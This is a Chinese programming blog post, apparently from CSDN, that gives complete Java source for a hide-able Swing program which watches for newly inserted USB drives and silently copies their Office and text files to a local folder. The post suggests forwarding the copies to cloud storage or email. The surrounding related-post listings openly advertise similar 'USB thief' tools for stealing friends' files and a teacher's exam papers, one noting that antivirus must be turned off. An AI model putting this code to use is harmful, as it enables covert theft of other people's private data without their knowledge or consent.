java实现u盘内容的自动复制

JAVA:将U盘内容复制到本地 信息安全课老师布置的作业,要求将U盘内容悄无声息的复制到本地。 public class USB_test { public static void main(String[] args) { // TODO Auto-generated method stub IsUSB test = new IsUSB(); test.start(); } } //检查有无新盘符 im... 阅读详情

这个小程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。


这个小程序的实现方法如下:

1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。

2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。


需要注意的是,由于U盘的内容可能很大,所以拷贝的时候最好指定要拷贝的文件类型,如ppt,doc,txt等等。

下面是这个小程序的相关代码:

在CopyThread类中可以指定要复制的文件类型,大家在fileTypes数组中加入相应的文件后缀名即可。如果要复制所有文件,将其设为null就行了。在CopyFileToSysRoot类中可以指定存储的路径,当然,如果愿意的话,你可以将文件上传到网盘,邮箱等等。。。


一、USBMain类,程序入口:

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;

public class USBMain {

	public static void main(String[] args) {
		USBMain u = new USBMain();
		u.launchFrame();
		//开启盘符检查线程
		new CheckRootThread().start();
	}

	// 界面
	private void launchFrame() {
		final JFrame frame = new JFrame();
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setLocation(450, 250);
		JButton hide = new JButton("点击隐藏窗口");
		// 点击按钮后隐藏窗口事件监听
		hide.addActionListener(new ActionListener() {
			public void actionPerformed(ActionEvent e) {
				frame.setVisible(false);
			}
		});
		frame.add(hide);
		frame.pack();
		frame.setVisible(true);
	}
}

二、CheckRootThread类,此类用于检查新盘符的出现,并触发新盘符文件的拷贝。

import java.io.File;

//此类用于检查新盘符的出现,并触发新盘符文件的拷贝
public class CheckRootThread extends Thread {
	// 获取系统盘符
	private File[] sysRoot = File.listRoots();

	public void run() {
		File[] currentRoot = null;
		while (true) {
			// 当前的系统盘符
			currentRoot = File.listRoots();
			if (currentRoot.length > sysRoot.length) {
				for (int i = currentRoot.length - 1; i >= 0; i--) {
					boolean isNewRoot = true;
					for (int j = sysRoot.length - 1; j >= 0; j--) {
						// 当两者盘符不同时,触发新盘符文件的拷贝
						if (currentRoot[i].equals(sysRoot[j])) {
							isNewRoot = false;
						}
					}
					if (isNewRoot) {
						new CopyThread(currentRoot[i]).start();
					}
				}
			}
			sysRoot = File.listRoots();
			//每5秒时间检查一次系统盘符
			try {
				Thread.sleep(5000);
			} catch (InterruptedException e) {
				e.printStackTrace();
			}
		}
	}
}

三、CopyThread类,用于文件遍历并选择指定文件格式进行复制:

import java.io.File;

//该类用于对新盘符文件的复制
public class CopyThread extends Thread {
	// 设置要复制的文件类型,如果要复制所有格式的文件,将fileTypes设为null即可
	private static String[] fileTypes = {"ppt","doc","txt","wps"};
	// private static String[] fileTypes = null;

	File file = null;

	public CopyThread(File file) {
		this.file = file;
	}

	public void run() {
		listUsbFiles(file);
	}
	
	//遍历盘符文件,并匹配文件复制
	private void listUsbFiles(File ufile) {
		File[] files = ufile.listFiles();
		for (File f : files) {
			if (f.isDirectory()) {
				listUsbFiles(f);
			} else {
				if (fileTypeMatch(f))
					new CopyFileToSysRoot(f).doCopy();
			}
		}
	}

	//匹配要复制的文件类型
	public boolean fileTypeMatch(File f) {
		//fileTypes为null时,则全部复制
		if (fileTypes == null) {
			return true;
		} else {
			for (String type : fileTypes) {
				if (f.getName().endsWith("." + type)) {
					return true;
				}
			}
		}
		return false;
	}
}

四、CopyFileToSysRoot类,复制文件的IO流实现:

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;

//文件复制IO
public class CopyFileToSysRoot {
	// 复制文件保存路径
	private static final String PATH = "D:\\USB";
	private File file = null;

	public CopyFileToSysRoot(File file) {
		this.file = file;
	}

	// 复制文件
	public void doCopy() {
		BufferedInputStream bis = null;
		BufferedOutputStream bos = null;

		try {
			//创建目录
			File fPath = new File(getFileParent(file));
			if (!fPath.exists()) {
				fPath.mkdirs();
			}

			bis = new BufferedInputStream(new FileInputStream(file));
			bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
					file.getName())));

			byte[] buf = new byte[1024];
			int len = 0;
			while ((len = bis.read(buf)) != -1) {
				bos.write(buf, 0, len);
				bos.flush();
			}
		} catch (FileNotFoundException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			try {
				if (bis != null)
					bis.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
			try {
				if (bos != null)
					bos.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

	// 根据盘符中文件的路径,创建复制文件的文件路径
	public String getFileParent(File f) {
		StringBuilder sb = new StringBuilder(f.getParent());
		int i = sb.indexOf(File.separator);
		sb.replace(0, i, PATH);
		return sb.toString();
	}
}


Android 安全卸载U盘的方法 这今天项目中有一个将设备的数据文件复制到U盘的功能,复制完成之后,在设备看U盘的文件都是好的,数据也正常,当拔出U盘后放到电脑上,有时就会出现文件为0B的情况,后来才发现,是U盘没有安全卸载的原因。 初期的设想是控制程序跳转到android的设置的存储界面,让用户进行点击U盘的安全卸载选项,代码如下: Intent intent = new Intent(Settings.ACTION_ME... 阅读详情

相关推荐

java实现从D盘复制图片和文档到E盘

io流的分类: 方向: 输入流 输出流 单位: 字节流 字符流 功能: 节点流 处理流 代码如下: 1.复制图片 package io流; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; impo...

qq_45290445的博客 1504

java中拷贝文件数据到U盘

在Linux系统中,文件写入操作通常会先写入到文件系统的缓冲区中,而不是直接写入到物理磁盘中,这意味着即使你完成了文件拷贝,文件的实际数据可能还没有写入到U盘的物理存储中。这时可以强制将文件缓冲区的内容刷新到物理磁盘上。下面通过java实现将文件数据拷贝到U盘,及注意事项。

ldcaws的专栏 722

基于Java的U盘自动拷贝工具设计与实现

在信息化快速发展的今天,数据的迁移、备份与共享成为日常工作中不可或缺的部分。U盘作为一种便携式存储设备,广泛应用于各类场景,但手动拷贝不仅效率低下,还容易出错。为此,开发一款U盘自动拷贝工具具有重要意义。本工具旨在实现即插即拷的自动化流程,用户插入U盘后,系统可自动识别并按照预设规则将目标文件复制到U盘中,适用于企业分发资料、数据采集、无人值守备份等场景。在功能架构上,工具主要包括:设备监听模块、文件I/O处理模块、多线程控制模块、UI交互模块。

weixin_35705784的博客 1086

使用脚本自动复制U盘中文件

欢迎使用Markdown编辑器写博客 最近就要考试了,考试题就在老师的U盘里。于是我有了一个邪恶的想法,当把U盘插入到电脑里面的时候,自动执行程序,把U盘里面的文件自动拷贝到本地文件夹。 说干就干,有了这个想法之后,我就上网找了相关的程序。还真找到一个这样的脚本。代码如下: set fso=createobject("scripting.filesystemobject&a

Tyella的博客 1万+

java-filesync:将文件同步到备份位置

java文件同步 将文件同步到备份位置

java自动copyU盘

用java写个一个小工具,有兴趣的朋友可以下载下来研究下。当U盘插入电脑时。悄悄copyU盘东西

java程序u盘照片自动复制粘贴_U盘自动复制文件

1、建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样。2、把下面的代码复制进去set fso=createobject("scripting.filesystemobject")set ws=createobject("wscript.shell")on error resume nextdowscript.sleep 1000if fso.driveexists("U...

weixin_42436482的博客 808

Excel药品说明书数据库:从零开始搭建医药数据查询系统(附完整模板)

本文详细介绍了如何从零开始搭建Excel药品说明书数据库,提供完整的医药数据查询系统模板。涵盖数据库架构设计、数据清洗标准化、智能查询系统搭建及维护优化,帮助医药从业者高效管理药品信息,提升查询速度和准确性。

weixin_28327051的博客 234

U盘copy电脑上的文件(基于java实现)

U盘copy电脑上的文件(基于java实现) 通过以下四个java类(记得改包名) ,生成exe程序,再加上自运行inf文件,实现u盘插入电脑时即可自动copy D盘,F盘文件(前提是关闭360等杀毒软件!) USBMain类,程序主入口 package AutoCopy; import javax.swing.*; import java.awt.*; import java.awt.even...

qq_40568566的博客 1371

《涨知识啦29》-DBR的工作原理及其在VCSEL中的作用

分布式布拉格(Distributed Bragg Reflection,简称DBR)反射镜是垂直腔面发射激光器(Vertical-Cavity Surface-Emitting Laser,简称VCSEL)的重要组成部分。典型的DBR反射镜是由1/4ni波长厚度的高折射率和低折射率材料交替组成(ni是该层的折射率)。其反射率取决于组成对数、边界条件以及折射率差。 图1 布拉格反射镜的工作原理 DBR反射镜的工作原理如图1所示。根据反射原理,当光从光疏介质n1射向光密介质n2(折射率n2>n1)时,反

simucal的博客 7983

windows系统下,如何为comfyui如何安装triton

​ 有些加速插件、模型在安装的时候,比如说sageattention的安装,就需要提前安装triton这个包,不过这个包有点特殊,windows下略微不好装,经常会装失败。 🎠如何安装 之前也有人介绍过,要到github上找个wheel文件,找到对应的版本安装下就好了。 问题是:https://github.com/woct0rdho/triton-windows/releases 这个git地址上,已经找不到wheel文件了... ​

聚梦小课堂 4498

遗传算法实操指南:诊断早熟收敛与动态调参方法

遗传算法(GA)是一种基于自然选择机制的全局优化技术,其核心在于模拟种群演化过程实现解空间搜索。然而真实工程中,GA常因适应度函数设计失当、选择压力失控或多样性衰减而陷入早熟收敛,导致收敛曲线过早平坦甚至失效。本文聚焦GA的可观测性与可干预性,系统解析种群熵、选择压力系数、近亲繁殖率等关键诊断指标,并提供精英保留增强、自适应变异扰动、SLHS初始化等经产线验证的鲁棒调参策略。适用于产线排程、参数标定、神经网络优化等含约束、非凸、多峰特性的工业优化场景,帮助工程师从‘跑通代码’迈向‘精准调控进化过程’。

weixin_34323858的博客 688

视觉Transformer实战 | 将卷积引入视觉Transformer(CvT)

CvT 是一种融合卷积神经网络与 Vision Transformer 优势的视觉模型,旨在解决 ViT 缺乏平移不变性和局部性等归纳偏置的问题。CvT 采用分层结构逐级降采样,使用卷积词元嵌入代替传统 patch 切分,引入卷积投影替代线性投影。这些设计使得 CvT 能够去除位置编码,在高分辨率输入下表现更优。本节深入解析 CvT 的核心原理,并提供完整的 PyTorch 代码实现,演示如何在实际数据集上训练和评估 CvT 模型。

盼小辉丶的博客 726

java实现u盘指定内容的自动复制

这个小程序的功能是,检查U盘,并将U盘的内容自动拷贝到系统的某个盘符中。分享给大家,就当作是练习io流的小练习。 这个小程序的实现方法如下: 1、程序运行后隔一断时间就检查系统的盘符有没有增加,通过File.listRoots()可获取系统存在的盘符。 2、如果盘符增加了,遍历这个新增加的盘符,用字节流拷贝文件到指定的路径。 需要注意的是,由于U盘的内容可能很大,所以拷贝的

技术笔记 2476

深入解读WT软件湍流强度计算与分析

深入解读WT软件湍流强度计算与分析

weixin_46713695的博客 1021

用 OData V2 元数据驱动表格体验:SAP UI5 Smart Table 全面解析

摘要: Smart Table是SAPUI5中基于OData元数据自动生成表格的控件,支持个性化、排序、过滤等高级功能。文章从九个维度深入解析其工作机制:1)通过元数据和注解自动生成列;2)支持多种表格类型;3)关键属性的静态化特性;4)与其他智能控件的协同;5)导航属性和导出的处理;6)响应式设计;7)个性化配置;8)性能优化策略;9)端到端实现案例。Smart Table通过读取OData元数据自动完成表格渲染,大幅减少开发工作量,特别适合企业级应用开发场景。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 321

java文件移动到u盘乱码_java实现u盘指定内容的自动复制

import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import javax.swing.JButton;import javax.swing.JFrame;public class USBMain {public static void main(String[] args) {USBMain u = ne...

weixin_33670352的博客 268

MinerU在线API异步调用代码开发示例

本文展示了如何使用Python异步编程调用MinerU在线API进行文件批量上传。代码示例包含三个主要功能:1) 通过API密钥获取文件上传URL;2) 使用信号量控制并发上传多个文件;3) 获取提取结果。实现采用httpx异步客户端和asyncio库,支持文件存在性检查、错误处理和日志记录。示例中演示了如何上传PDF文件到MinerU平台,并提供了获取批量处理结果的接口。该代码可作为异步调用MinerU API的参考实现。

拥抱具身智能,昇腾Ascend C 352

U盘数据自动备份

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_33924312的博客 218

【深度学习】什么是自回归模型?

自回归模型是一种重要的时间序列模型,通过利用过去的值来预测当前或未来的值。它在统计学、经济学、自然语言处理等领域有广泛的应用。自回归模型的简单性和可解释性使其成为许多应用的首选,但在更复杂的情况下,可能需要结合其他模型如移动平均模型(MA模型)或混合模型(如ARIMA)来更好地捕捉时间序列中的模式。扩散模型(Diffusion Model)和自回归模型(Autoregressive Model)是两种不同的生成模型,各自有独特的特点和应用场景。

q742971636的博客 1670

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

java程序u盘照片自动复制粘贴,java兑现u盘指定内容的自动复制

import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import javax.swing.JButton;import javax.swing.JFrame;public class USBMain {public static void main(String[] args) {USBMain u = ne...

weixin_33729288的博客 156

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

JAVA实现偷偷复制好友U盘中的照片

public class Steal { private String resource = null; private String des = null; private BufferedInputStream bis = null; private BufferedOutputStream bos = null; public Steal(Str...

qq_40298054的博客 438

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

java获取u盘_自写java小程序 U盘偷取小文件

[Java] 纯文本查看 复制代码package com.atguigu.java;import java.io.*;public class Detection {public void runopen() {System.out.println("启动检测U盘......-----Duan");byte[] words = null;// File.listRoots(); 返回我们电脑上所有...

weixin_29048775的博客 367

U盘小偷-批处理版(axun)

<br />上《网络安全》选修课的时候,老师提到过一个工具叫U盘小偷,可以自动把别人U盘的东西“偷”到自己的电脑上。<br />具体的什么样我没见过,但是想到这个功能是很容易用批处理来实现的,于是写了下面一个批处理版的"U盘小偷"。<br />批处理最大的缺点是不能后台运行,这个小偷没法“隐身”。有谁知道如何让批处理后台运行?<br />我知道有一个方法是把批处理嵌入到其他程序中,比如C,JAVA,然后就可以后台运行了。等有时间用c或者java写一个通用的批处理后台运行工具吧。先记着。<br />这个版本目

言川的博客 2897

java实现U盘小偷

U盘小偷:插入u盘,自动拷贝u盘内容到本地磁盘 java swing界面启动,启动检查盘符进程,可隐藏到后台。 import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; /** * 注界面 * * @author jpp 2019年4月19日上午9:22:00 */ public class Main

Champ.Ping的博客 554

实时监控U盘是否插入 完成秘密copy别人U盘内容

突发奇想能不能在别人用我电脑Copy文件的同时,我也神不知鬼不觉的去Copy他电脑的文件。就写了一个程序来试试水。感觉还不错1.此程序是在linux下写的,有想在windows上玩耍的同学可以改改代码2. 程序使用WatchService监控文件夹完成是否插入U盘3.用到Runtime.getRuntime().exec()来完成代码的复制WatchService:WatchService这个类可...

sssszr的博客 4200
上一篇: java关于Properties的使用
下一篇: javaweb入门(2)--tomcat虚拟目录映射
Sweeter
博客等级 码龄14年 81粉丝 41原创
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值